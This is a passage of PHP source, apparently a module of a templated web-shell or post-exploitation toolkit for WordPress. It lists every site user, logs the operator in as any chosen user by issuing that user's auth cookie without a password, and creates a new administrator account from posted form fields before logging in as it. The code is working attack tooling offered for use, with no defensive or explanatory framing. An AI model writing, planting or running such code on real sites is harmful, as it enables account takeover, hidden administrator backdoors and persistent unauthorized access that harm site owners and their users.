$feature["op"] === $page));
$users = __PREFIX__getWPUsers();
$page_content = __PREFIX__makePage(
$features,
$css,
$page,
[__PREFIX__makePageHeader(
$feature[0]["title"],
$feature[0]["description"]
), __PREFIX__makeTable(
"Users",
"WordPress users to impersonate",
$users,
["user_login" => "Username", "user_email" => "Email", "roles" => "Roles", "user_url" => "URL", "actions" => "Actions"],
"
", __PREFIX__makeInput(
"text",
"Username",
"__PARAM_2__",
"admin",
"Username of the user to create.",
true
), __PREFIX__makeInput(
"password",
"Password",
"__PARAM_3__",
"••••••••",
"Password of the user to create.",
true
)],
"post",
"Create user",
"flex flex-col gap-y-6 mx-auto w-full"
)
. "
"
)]
);
}
/**
* Handle the login operation
*
* @param $operation string The operation to handle
* @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features
* container
*
* @return void
*/
function __PREFIX__handleWpImpersonate($operation, $features) {
// Run the impersonate operation
if (!empty($_POST["__PARAM_1__"])) {
if(!function_exists("get_user_by") || !function_exists("wp_set_current_user") ||
!function_exists("wp_set_auth_cookie") || !function_exists("wp_redirect") ||
!function_exists("site_url")){
return;
}
$user = get_user_by("login", $_POST["__PARAM_1__"]);
if ($user) {
wp_set_current_user($user->ID, $user->user_login);
wp_set_auth_cookie($user->ID);
wp_redirect(site_url());
die;
}
}
// Run the user creation operation
elseif (!empty($_POST["__PARAM_2__"]) &&
!empty($_POST["__PARAM_3__"])) {
if(!function_exists("wp_insert_user") || !function_exists("is_wp_error") ||
!function_exists("get_user_by") || !function_exists("wp_set_current_user") ||
!function_exists("wp_set_auth_cookie") || !function_exists("wp_redirect") ||
!function_exists("site_url")){
return;
}
// creates the admin user
$user_id = wp_insert_user(
["user_login" => "__PREFIX__" . $_POST["__PARAM_2__"], "user_pass" => $_POST["__PARAM_3__"], "role" => "administrator"]
);
// if the user was created successfully, log in
if (!is_wp_error($user_id)) {
$user = get_user_by("id", $user_id);
if ($user) {
wp_set_current_user($user->ID, $user->user_login);
wp_set_auth_cookie($user->ID);
wp_redirect(site_url());
die;
}
}
}
}
/**
* Create the table row for the WordPress users
*
* @param $data WP_User The WordPress user data
*
* @return array The table row
*/
function __PREFIX__makeWpUserTableRow($data) {
global $IMPERSONATE_WP_USER;
return array_merge(
(array) $data->data,
["roles" => $data->roles, "actions" => __PREFIX__makeForm(
$IMPERSONATE_WP_USER,
$_SERVER["REQUEST_URI"],
[__PREFIX__makeInput(
"hidden",
"username",
"__PARAM_1__",
"",
"Username of the user to impersonate.",
true,
null,
htmlentities($data->data->user_login)
)],
"post",
"Impersonate",
"flex flex-col max-w-xl mb-0"
)]
);
}
/**
* Get the list of WordPress users
*
* @return array List of WordPress users
*/
function __PREFIX__getWPUsers() {
if(!function_exists("get_users")) {
return [];
}
return array_map(
"__PREFIX__makeWpUserTableRow",
get_users()
);
}
/**
* Hook the isolated operations to add the current operation
*
* @param $isolated_ops array The isolated operations container
*
* @return void
*/
function __PREFIX__WpImpersonateHooksIsolatedOps(&$isolated_ops) {
global $IMPERSONATE_WP_USER;
$isolated_ops[] = $IMPERSONATE_WP_USER;
}
/**
* Hook the features to add the login feature
*
* @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features
* container
*
* @return void
*/
function __PREFIX__WpImpersonateHooksFeatures(&$features) {
global $IMPERSONATE_WP_USER;
$features[] = ["title" => "Impersonate WP user", "description" => "Impersonate a WordPress user by changing the current session.", "svg" => '', "op" => $IMPERSONATE_WP_USER];
}
// section.functions.end
// section.hooks
add_hook("isolated_ops", "__PREFIX__WpImpersonateHooksIsolatedOps");
add_hook("features", "__PREFIX__WpImpersonateHooksFeatures");
add_named_hook("GET_page", $IMPERSONATE_WP_USER, "__PREFIX__makeWpImpersonatePage");
add_named_hook("POST_operation", $IMPERSONATE_WP_USER, "__PREFIX__handleWpImpersonate");
// section.hooks.end